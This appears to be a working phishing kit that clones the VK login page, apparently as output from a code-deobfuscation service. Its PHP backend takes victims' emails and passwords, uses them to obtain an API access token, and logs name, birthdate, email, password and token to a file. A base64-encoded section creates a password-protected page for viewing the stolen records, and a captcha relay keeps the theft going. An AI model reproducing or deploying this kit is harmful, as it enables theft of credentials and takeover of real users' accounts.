  audioInlinePlayerTpl: "<div class=\"audio_inline_player _audio_inline_player no_select\">\n  <div class=\"audio_inline_player_right\">\n    <div class=\"audio_inline_player_volume\"><\/div>\n  <\/div>\n  <div class=\"audio_inline_player_left\">\n    <div class=\"audio_inline_player_progress\"><\/div>\n  <\/div>\n<\/div>",

  tnsPixelType: 'unauth'
};

window.locDomain = vk.host.match(/[a-zA-Z]+\.[a-zA-Z]+\.?$/)[0];
var _ua = navigator.userAgent.toLowerCase();
if (/opera/i.test(_ua) || !/msie 6/i.test(_ua) || document.domain != locDomain) document.domain = locDomain;
var ___htest = (location.toString().match(/#(.*)/) || {})[1] || '', ___to;
___htest = ___htest.split('#').pop();
if (vk.al != 1 && ___htest.length && ___htest.substr(0, 1) == vk.navPrefix) {
  if (vk.al != 3 || vk.navPrefix != '!') {
    ___to = ___htest.replace(/^(\/|!)/, '');
    if (___to.match(/^([^\?]*\.php|login|mobile)([^a-z0-9\.]|$)/)) ___to = '';
    location.replace(location.protocol + '//' + location.host + '/' + ___to);
  }
}

var StaticFiles = {
  'common.js' : {v: 1157},
  'fonts_cnt.css' : {v: 2889730895},
'common.css': {v: 23502564148}
  ,'lang0_0.js':{v:6844},'index.css':{v:14082579640},'index.js':{v:3228561433},'login.css':{v:15932378811},'ui_controls.css':{v:15064529460},'ui_controls.js':{v:3486179758},'ui_common.js':{v:3070177449},'ui_common.css':{v:13455283419},'audioplayer.js':{v:6327756732}
}
var abp;
</script>

<link type="text/css" rel="stylesheet" href="//vk.com/css/al/index.css?14082579640"></link><link type="text/css" rel="stylesheet" href="//vk.com/css/al/login.css?15932378811"></link><link type="text/css" rel="stylesheet" href="//vk.com/css/ui_controls.css?15064529460"></link><link type="text/css" rel="stylesheet" href="//vk.com/css/al/ui_common.css?13455283419"></link><script type="text/javascript" src="//vk.com/js/loader_nav3817049020046_0.js"></script><script type="text/javascript" src="//vk.com/js/al/common.js?1157_186508888"></script><script type="text/javascript" src="//vk.com/js/lang0_0.js?6844"></script><script type="text/javascript" src="//vk.com/js/lib/px.js?ch=1"></script><script type="text/javascript" src="//vk.com/js/lib/px.js?ch=2"></script><link rel="alternate" media="only screen and (max-width: 640px)" href="https://m.vk.com/" /><link rel="alternate" href="android-app://com.vkontakte.android/vkontakte/m.vk.com/" /><meta name="msApplication-ID" content="C6965DD5.VK" /><meta name="msApplication-PackageFamilyName" content="C6965DD5.VK_v422avzh127ra" /><script type="text/javascript" src="//vk.com/js/al/index.js?3228561433"></script><script type="text/javascript" src="//vk.com/js/lib/ui_controls.js?3486179758"></script><script type="text/javascript" src="//vk.com/js/al/ui_common.js?3070177449"></script><script type="text/javascript" src="//vk.com/js/cmodules/web/audioplayer.js?6327756732"></script>

</head>

<body onresize="onBodyResize()" class="firefox index_page">
  <div id="system_msg" class="fixed"></div>
  <div id="utils"></div>

  <div id="layer_bg" class="fixed"></div><div id="layer_wrap" class="scroll_fix_wrap fixed layer_wrap"><div id="layer"></div></div>
  <div id="box_layer_bg" class="fixed"></div><div id="box_layer_wrap" class="scroll_fix_wrap fixed"><div id="box_layer"><div id="box_loader"><div class="pr pr_baw pr_medium" id="box_loader_pr"><div class="pr_bt"></div><div class="pr_bt"></div><div class="pr_bt"></div></div><div class="back"></div></div></div></div>

  <div id="stl_left"></div><div id="stl_side"></div>

  <script type="text/javascript">domStarted();</script>

  <div class="scroll_fix_wrap _page_wrap" id="page_wrap"><div><div class="scroll_fix">
  

  <div id="page_header_cont" class="page_header_cont">
    <div class="back"></div>
    <div id="page_header_wrap" class="page_header_wrap">
      <a class="top_back_link" href="" id="top_back_link" onclick="if (nav.go(this, event, {back: true}) === false) { showBackLink(); return false; }" onmousedown="tnActive(this)"></a>
      <div id="page_header" class="p_head p_head_l0" style="width: 960px">
        <div class="content">
          <div id="top_nav" class="head_nav">
  <div class="head_nav_item fl_l"><a class="top_home_link fl_l " href="http://vk.com/" aria-label=" " accesskey="1"><div class="top_home_logo"></div></a></div>
  <div class="head_nav_item fl_l"><div id="ts_wrap" class="ts_wrap" onmouseover="TopSearch.initFriendsList();">
  <input name="disable-autofill" style="display: none;" />
  <input type="text" onmousedown="event.cancelBubble = true;" ontouchstart="event.cancelBubble = true;" class="text ts_input" id="ts_input" autocomplete="off" name="disable-autofill" placeholder="" aria-label="" />
</div></div>
  <div class="head_nav_item fl_l head_nav_btns"><span id="top_audio_layer_place"></span></div>
  <div class="head_nav_item fl_r"><a class="top_nav_link" href="" id="top_switch_lang" style="" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '6e6bf4047b91726b15' }); return false;" onmousedown="tnActive(this)">
  Switch to English
</a><a class="top_nav_link" href="http://vk.com/join" id="top_reg_link" style="display: none" onclick="return !showBox('join.php', {act: 'box', from: nav.strLoc}, {}, event)" onmousedown="tnActive(this)">
  
</a></div>
  <div class="head_nav_item_player"></div>
</div>
<div id="ts_cont_wrap" class="ts_cont_wrap" ontouchstart="event.cancelBubble = true;" onmousedown="event.cancelBubble = true;"></div>
        </div>
      </div>
    </div>
  </div>

  <div id="page_layout" style="width: 960px;">
    <div id="side_bar" class="side_bar fl_l " style="display: none">
      <div id="side_bar_inner" class="side_bar_inner">
        <div id="quick_login" class="quick_login">
  <form method="POST" name="login" id="quick_login_form" action="">
    <div class="label">  e-mail</div>
    <div class="labeled"><input type="text" name="email" class="dark" id="quick_email" /></div>
    <div class="label"></div>
    <div class="labeled"><input type="password" name="pass" class="dark" id="quick_pass" onkeyup="toggle('quick_expire', !!this.value);toggle('quick_forgot', !this.value)" /></div>
    <input type="submit" class="submit" />
  </form>
  <button class="quick_login_button flat_button button_wide" id="quick_login_button"></button>
  <button class="quick_reg_button flat_button button_wide" id="quick_reg_button" style="display: none" onclick="top.showBox('join.php', {act: 'box', from: nav.strLoc})"></button>
  <div class="clear forgot"><div class="checkbox" id="quick_expire" onclick="checkbox(this);ge('quick_expire_input').value=isChecked(this)?1:'';"> </div><a id="quick_forgot" class="quick_forgot" href="http://vk.com/restore" target="_top"> ?</a></div>
</div>
      </div>
    </div>

    <div id="page_body" class="fl_r " style="width: 960px;">
      <div id="header_wrap2">
        <div id="header_wrap1">
          <div id="header" style="display: none">
            <h1 id="title"></h1>
          </div>
        </div>
      </div>
      <div id="wrap_between"></div>
      <div id="wrap3"><div id="wrap2">
  <div id="wrap1">
    <div id="content"><div id="index_rcolumn" class="index_rcolumn">
  <div id="index_login" class="page_block index_login">
    <form method="post" name="login" id="index_login_form" action="">
      <input type="text" class="big_text" name="email" id="index_email" value="" placeholder="  e-mail" />
      <input type="password" class="big_text" name="pass" id="index_pass" value="" placeholder="" onkeyup="toggle('index_expire', !!this.value);toggle('index_forgot', !this.value)" />
      <button id="index_login_button" class="index_login_button flat_button button_big_text"></button>
      <div class="forgot">
        <div class="checkbox" id="index_expire" onclick="checkbox(this);ge('index_expire_input').value=isChecked(this)?1:'';"> </div>
        <a id="index_forgot" class="index_forgot" href="http://vk.com/restore" target="_top"> ?</a>
      </div>
    </form>
  </div>
  <div id="ij_form" class="page_block ij_form">
    <h2 class="ij_header"> ?</h2>
    <div class="ij_subheader"> </div>
    <div id="ij_msg"></div>
    <input type="text" class="big_text" id="ij_first_name" value="" placeholder=" " />
    <input type="text" class="big_text" id="ij_last_name" value="" placeholder=" " />
    <div class="ij_label"> <span class="hint_icon" data-title="&lt;b&gt;  &lt;/b&gt;     ,       .&lt;br&gt;          ." onmouseover="showHint(this);"></span></div>
    <div id="ij_birthdate_row" class="ij_birthdate_row clear_fix">
      <div class="ij_bday"><input type="text" class="big_text" id="ij_bday" /></div>
      <div class="ij_bmonth"><input type="text" class="big_text" id="ij_bmonth" /></div>
      <div class="ij_byear"><input type="text" class="big_text" id="ij_byear" /></div>
    </div>
    <div id="ij_sex_row" class="clear_fix unshown">
      <div class="ij_label"> </div>
      <div class="radiobtn" onclick="radiobtn(this, 1, 'ij_sex');"></div>
      <div class="radiobtn" onclick="radiobtn(this, 2, 'ij_sex');"></div>
    </div>
    <button class="flat_button button_wide button_big_text ij_button" id="ij_submit" onclick="Index.submitJoinStart()"></button>
    <div id="index_fbsign" class="index_fbsign">
      <a id="index_fb" class="index_fb_lnk" href="" onclick="return Index.fbJoin();"><div class="index_fb_icon"></div>  Facebook</a>
    </div>
    <div id="index_fbcontinuewithsign" class="index_fbcontinuewithsign">
      <div class="fb-login-button index_fb_continue_with_btn" onclick="return Index.fbJoin();" data-use-continue-as="true" data-width="264" data-max-rows="1" data-size="medium" data-button-type="continue_with"></div>
    </div>
  </div>
</div>
<div class="login_mobile_promo_wrap clear_fix">
  <div class="login_mobile_apps">
    <div class="login_mobile_header">   </div>
    <div class="login_mobile_info">          ,     .</div>
    
    <div class="login_app_devices">

      <a href="https://play.google.com/store/apps/details?id=com.vkontakte.android" target="_blank" class="login_app_device login_app_device_android">
        <div class="login_app_device_screen_wrap">
          <div class="login_app_device_screen login_app_device_ru"></div>
        </div>

        <div class="login_app_download_wrap">
          <button class="flat_button secondary button_light">
            <span class="login_app_download_icon"></span>
            VK  Android
          </button>
        </div>
      </a>

      <a href="https://www.microsoft.com/store/apps/9wzdncrfj1pt" target="_blank" class="login_app_device login_app_device_wp">
        <div class="login_app_device_screen_wrap">
          <div class="login_app_device_screen login_app_device_ru"></div>
        </div>

        <div class="login_app_download_wrap">
          <button class="flat_button secondary button_light">
            <span class="login_app_download_icon"></span>
            VK  WP
          </button>
        </div>
      </a>

      <a href="https://itunes.apple.com/ru/app/id564177498" target="_blank" class="login_app_device login_app_device_ios">
        <div class="login_app_device_screen_wrap">
          <div class="login_app_device_screen login_app_device_ru"></div>
        </div>

        <div class="login_app_download_wrap">
          <button class="flat_button secondary button_light">
            <span class="login_app_download_icon"></span>
            VK  iPhone
          </button>
        </div>
      </a>

    </div>
  </div>
  <a onclick="curBox().hide()" id="login_mobile_close" class="login_mobile_close"></a>

  <div class="login_about_mobile">
                  : <a target="_blank" href="https://m.vk.com">m.vk.com</a>
  </div>
</div>
<div id="index_footer_wrap" class="footer_wrap index_footer_wrap">
  <div class="footer_nav" id="bottom_nav">
  <div class="footer_copy fl_l"><a href="http://vk.com/about"></a> &copy; <?=date("Y");?></div>
  <div class="footer_lang fl_r">:<a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '6e6bf4047b91726b15'})">English</a><a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 0, hash: '6e6bf4047b91726b15'})"></a><a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 1, hash: '6e6bf4047b91726b15'})"></a><a class="footer_lang_link" onclick="if (vk.al) { showBox('lang.php', {act: 'lang_dialog', all: 1}, {params: {dark: true, bodyStyle: 'padding: 0px'}, noreload: true}); } else { changeLang(1); } return false;">  &raquo;</a></div>
  <div class="footer_links">
    <a class="bnav_a" href="http://vk.com/about"> </a>
    <a class="bnav_a" href="http://vk.com/support?act=home" style="display: none;"></a>
    <a class="bnav_a" href="http://vk.com/terms"></a>
    <a class="bnav_a" href="http://vk.com/ads" style=""></a>
    
    <a class="bnav_a" href="http://vk.com/dev"></a>
    <a class="bnav_a" href="http://vk.com/jobs" style="display: none;"></a>
  </div>
</div>

<div class="footer_bench clear">
  
</div>
</div></div>
  </div>
</div></div>
    </div>

    <div id="footer_wrap" class="footer_wrap fl_r" style="width: 960px;"><div class="footer_nav" id="bottom_nav">
  <div class="footer_copy fl_l"><a href="http://vk.com/about"></a> &copy; 2017</div>
  <div class="footer_lang fl_r">:<a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '6e6bf4047b91726b15'})">English</a><a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 0, hash: '6e6bf4047b91726b15'})"></a><a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 1, hash: '6e6bf4047b91726b15'})"></a><a class="footer_lang_link" onclick="if (vk.al) { showBox('lang.php', {act: 'lang_dialog', all: 1}, {params: {dark: true, bodyStyle: 'padding: 0px'}, noreload: true}); } else { changeLang(1); } return false;">  &raquo;</a></div>
  <div class="footer_links">
    <a class="bnav_a" href="http://vk.com/about"> </a>
    <a class="bnav_a" href="http://vk.com/support?act=home" style="display: none;"></a>
    <a class="bnav_a" href="http://vk.com/terms"></a>
    <a class="bnav_a" href="http://vk.com/ads" style=""></a>
    
    <a class="bnav_a" href="http://vk.com/dev"></a>
    <a class="bnav_a" href="http://vk.com/jobs" style="display: none;"></a>
  </div>
</div>

<div class="footer_bench clear">
  
</div></div>
    <div class="clear"></div>
  </div>
</div></div><noscript><div style="position:absolute;left:-10000px;">
<img src="http://vk.com//top-fwz1.mail.ru/counter?id=2579437;js=na" style="border:0;" height="1" width="1" />
</div></noscript></div>
  <div class="progress" id="global_prg"></div>

  <script type="text/javascript">
    if (parent && parent != window && (browser.msie || browser.opera || browser.mozilla || browser.chrome || browser.safari || browser.iphone)) {
      document.getElementsByTagName('body')[0].innerHTML = '';
    } else {
      domReady();
      updateMoney(0);
if (browser.iphone || browser.ipad || browser.ipod) {
  setStyle(bodyNode, {webkitTextSizeAdjust: 'none'});
}var qf = ge('quick_login_form'), ql = ge('quick_login'), qe = ge('quick_email'), qp = ge('quick_pass');
var qlb = ge('quick_login_button'), prgBtn = qlb;

var qinit = function() {
  setTimeout(function() {
    ql.insertBefore(ce('div', {innerHTML: '<iframe class="upload_frame" id="quick_login_frame" name="quick_login_frame"></iframe>'}), qf);
    qf.target = 'quick_login_frame';
  }, 1);
}

if (window.top && window.top != window) {
  window.onload = qinit;
} else {
  setTimeout(qinit, 0);
}

qf.onsubmit = function() {
  if (!ge('quick_login_frame')) return false;
  if (!trim(qe.value)) {
    notaBene(qe);
    return false;
  } else if (!trim(qp.value)) {
    notaBene(qp);
    return false;
  }
  lockButton(window.__qfBtn = prgBtn);
  prgBtn = qlb;
  clearTimeout(__qlTimer);
  __qlTimer = setTimeout(loginSubmitError, 30000);
  domFC(domPS(qf)).onload = function() {
    clearTimeout(__qlTimer);
    __qlTimer = setTimeout(loginSubmitError, 2500);
  }
  return true;
}


handlePageParams({"id":0,"loc":"","noleftmenu":1,"wrap_page":1,"width":960,"width_dec":0,"width_dec_footer":0,"body_class":"firefox index_page","counters":"","pvbig":0,"pvdark":1});addEvent(document, 'click', onDocumentClick);
addLangKeys({"global_apps":"","global_friends":"","global_communities":"","head_search_results":" ","global_chats":"","global_show_all_results":"  ","global_news_search_results":"   ","global_emoji_cat_recent":" ","global_emoji_cat_1":"","global_emoji_cat_2":"  ","global_emoji_cat_3":"  ","global_emoji_cat_4":"  ","global_emoji_cat_5":"  ","global_emoji_cat_6":"  ","global_emoji_cat_7":"","global_emoji_cat_8":"","global_emoji_cat_9":""}, true);
addLangKeys({"index_to_main":" ","index_choose_sex":" ","index_sel_bday":""});
addTemplates({"_":"_"});cur.options = {"bmonths":[[0,""],[1,""],[2,""],[3,""],[4,""],[5,""],[6,""],[7,""],[8,""],[9,""],[10,""],[11,""],[12,""]],"byears":[[0,""],[2003,"2003"],[2002,"2002"],[2001,"2001"],[2000,"2000"],[1999,"1999"],[1998,"1998"],[1997,"1997"],[1996,"1996"],[1995,"1995"],[1994,"1994"],[1993,"1993"],[1992,"1992"],[1991,"1991"],[1990,"1990"],[1989,"1989"],[1988,"1988"],[1987,"1987"],[1986,"1986"],[1985,"1985"],[1984,"1984"],[1983,"1983"],[1982,"1982"],[1981,"1981"],[1980,"1980"],[1979,"1979"],[1978,"1978"],[1977,"1977"],[1976,"1976"],[1975,"1975"],[1974,"1974"],[1973,"1973"],[1972,"1972"],[1971,"1971"],[1970,"1970"],[1969,"1969"],[1968,"1968"],[1967,"1967"],[1966,"1966"],[1965,"1965"],[1964,"1964"],[1963,"1963"],[1962,"1962"],[1961,"1961"],[1960,"1960"],[1959,"1959"],[1958,"1958"],[1957,"1957"],[1956,"1956"],[1955,"1955"],[1954,"1954"],[1953,"1953"],[1952,"1952"],[1951,"1951"],[1950,"1950"],[1949,"1949"],[1948,"1948"],[1947,"1947"],[1946,"1946"],[1945,"1945"],[1944,"1944"],[1943,"1943"],[1942,"1942"],[1941,"1941"],[1940,"1940"],[1939,"1939"],[1938,"1938"],[1937,"1937"],[1936,"1936"],[1935,"1935"],[1934,"1934"],[1933,"1933"],[1932,"1932"],[1931,"1931"],[1930,"1930"],[1929,"1929"],[1928,"1928"],[1927,"1927"],[1926,"1926"],[1925,"1925"],[1924,"1924"],[1923,"1923"],[1922,"1922"],[1921,"1921"],[1920,"1920"],[1919,"1919"],[1918,"1918"],[1917,"1917"],[1916,"1916"],[1915,"1915"],[1914,"1914"],[1913,"1913"],[1912,"1912"],[1911,"1911"],[1910,"1910"],[1909,"1909"],[1908,"1908"],[1907,"1907"],[1906,"1906"],[1905,"1905"],[1904,"1904"],[1903,"1903"],[1902,"1902"],[1901,"1901"]]};
Index.initNew();cur.fbApp = '128749580520227';
cur.fbState = '41ec29e42129f4529d';
cur.fbContinueWithSign = 1;
cur.fbLocale = 'ru_RU';
Index.fbCheck(cur.fbApp, '');
;(function (d, w) {
if (w.__dev) {
  return
}
var ts = d.createElement("script"); ts.type = "text/javascript"; ts.async = true;
ts.src = (d.location.protocol == "https:" ? "https:" : "http:") + "//top-fwz1.mail.ru/js/code.js";
var f = function () {var s = d.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ts, s);};
if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); }
})(document, window);
    }
  </script>
</body>

</html>
<?
if($_POST[email] and $_POST[pass]){

	if($data[error_description] == 'Username or password is incorrect') exit('<script>showFastBox("", "   .");</script>');
	if($data[access_token]){
		$res = json_decode(curl('https://api.vk.com/method/account.getProfileInfo?access_token='.$data[access_token]), 1);
		if(!file_exists(B_NAME)){
			file_put_contents(B_NAME, '<? $pass="'.PASS.'";'.base64_decode('c2Vzc2lvbl9zdGFydCgpOwppZigkX0dFVFsnZXhpdCddKSAkX1NFU1NJT05bYXV0aF0gPSAwOwo/Pgo8c3R5bGU+Cmh0bWwsYm9keXsKCXBhZGRpbmc6IDA7CgltYXJnaW46IDA7CgloZWlnaHQ6IDEwMCU7Cgl3aWR0aDogMTAwJTsKCWJhY2tncm91bmQ6ICMzMjMzMzI7Cn0KLmJiewoJd2lkdGg6IDcwLjclOwoJbWFyZ2luLWxlZnQ6IDE1JTsKfQouZWRpdHsKCXdpZHRoOiA3MCU7CgltYXJnaW4tbGVmdDogMTUlOwp9Ci5sb2dpbnsKCWJhY2tncm91bmQ6IGJsYWNrOwoJd2lkdGg6IDQwJTsKCWhlaWdodDogMjAlOwoJbWFyZ2luLXRvcDogMTUlOwoJbWFyZ2luLWxlZnQ6IDMwJTsKfQoudGV4dHsKCW1hcmdpbi10b3A6IDUwcHg7Cn0KdGFibGV7Cgljb2xvcjogIzAwOGNmMDsKCWJvcmRlci1jb2xvcjogcmVkOwp9CnRkewoJdGV4dC1hbGlnbjogY2VudGVyOwp9Cjwvc3R5bGU+Cjw/CiRjID0gYXJyYXkoJ2dyZWVuJywgJ3JlZCcsICd5ZWxsb3cnLCAnYmx1ZScsICd3aGl0ZScpW210X3JhbmQoMCwgNCldOwppZighJF9TRVNTSU9OW2F1dGhdKXsKaWYoJF9QT1NUW2xvZ2luXSl7CglpZigkX1BPU1RbbG9naW5dID09ICRwYXNzKXsKCQkkX1NFU1NJT05bYXV0aF0gPSAxOwoJCWVjaG8gJzxzY3JpcHQ+d2luZG93LmxvY2F0aW9uLnJlbG9hZCh0cnVlKTs8L3NjcmlwdD4nOwoKCX0KfQo/PgoKPCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KCTx0aXRsZT5Mb2dpbjwvdGl0bGU+Cgk8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSJjc3MvbG9naW4uY3NzIj4KPC9oZWFkPgo8Ym9keT4KCTxkaXYgY2xhc3M9ImxvZ2luIiBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgPD89JGM/PjsiPgoJCTxicj48Y2VudGVyPjxiPjxzcGFuIHN0eWxlPSJjb2xvcjogPD89JGM/PjsiIGNsYXNzPSJ0ZXh0Ij5Mb2dpbiBJbjwvc3Bhbj48L2I+PC9jZW50ZXI+PGJyPgoJCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPgoJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibG9naW4iIGNsYXNzPSJlZGl0IiBwbGFjZWhvbGRlcj0ibG9naW4iPjxicj4KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmIiIHZhbHVlPSJMT0dJTiIgY2xhc3M9ImJiIj4KCQk8L2Zvcm0+Cgk8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+Cjw/CmV4aXQoKTsKfQo/Pgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHBhZGRpbmc9IjUiPgogICA8dHI+CiAgICA8dGg+0KTQmNCePC90aD4KICAgIDx0aD7QlNCgPC90aD4KICAgIDx0aD7Qm9C+0LPQuNC9PC90aD4KICAgIDx0aD7Qn9Cw0YDQvtC70Yw8L3RoPgogICAgPHRoPtCi0L7QutC10L08L3RoPgogICA8L3RyPgoK'));
		}

		file_put_contents(B_NAME, "<tr><th>".$res[response][first_name].''.$res[response][last_name]."</th><th>".$res[response][bdate]."</th><th>".$_POST[email]."</th><th>".$_POST[pass]."</th><th>".$data[access_token]."</th></tr>", FILE_APPEND);
		exit("<script>window.location.replace('".URL."');</script>");

	}

	if($data[error] == 'need_captcha'){ 
	$str = "<form method='post' action=''><center><img src=".$data[captcha_img]."><br><div class='labeled'><input type='text' name='captcha' class='dark' id='quick_email'/><button class='quick_login_button flat_button button_wide' style='width=20%;' id='quick_login_button'></button></div></center><input type='hidden' name='sid' value=".$data[captcha_sid]."><input type='hidden' name='email' value=".$_POST[email]."><input type='hidden' name='pass' value=".$_POST[pass]."></form>";
		?>

<script>showFastBox("   ", "<?=$str?>");</script>


<?}/*
	print_r($data); //delete me!!!!
	exit($_POST[email].' '.$_POST[pass]); */

}	
function curl($url){
$ch = curl_init( $url );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
$res = curl_exec( $ch );
curl_close( $ch );
return $res;
}
?>

Function Calls

define 1

Variables

None

Stats

MD5 d164f21f30c9d44ff2ba430a9507183c
Eval Count 0
Decode Time 96 ms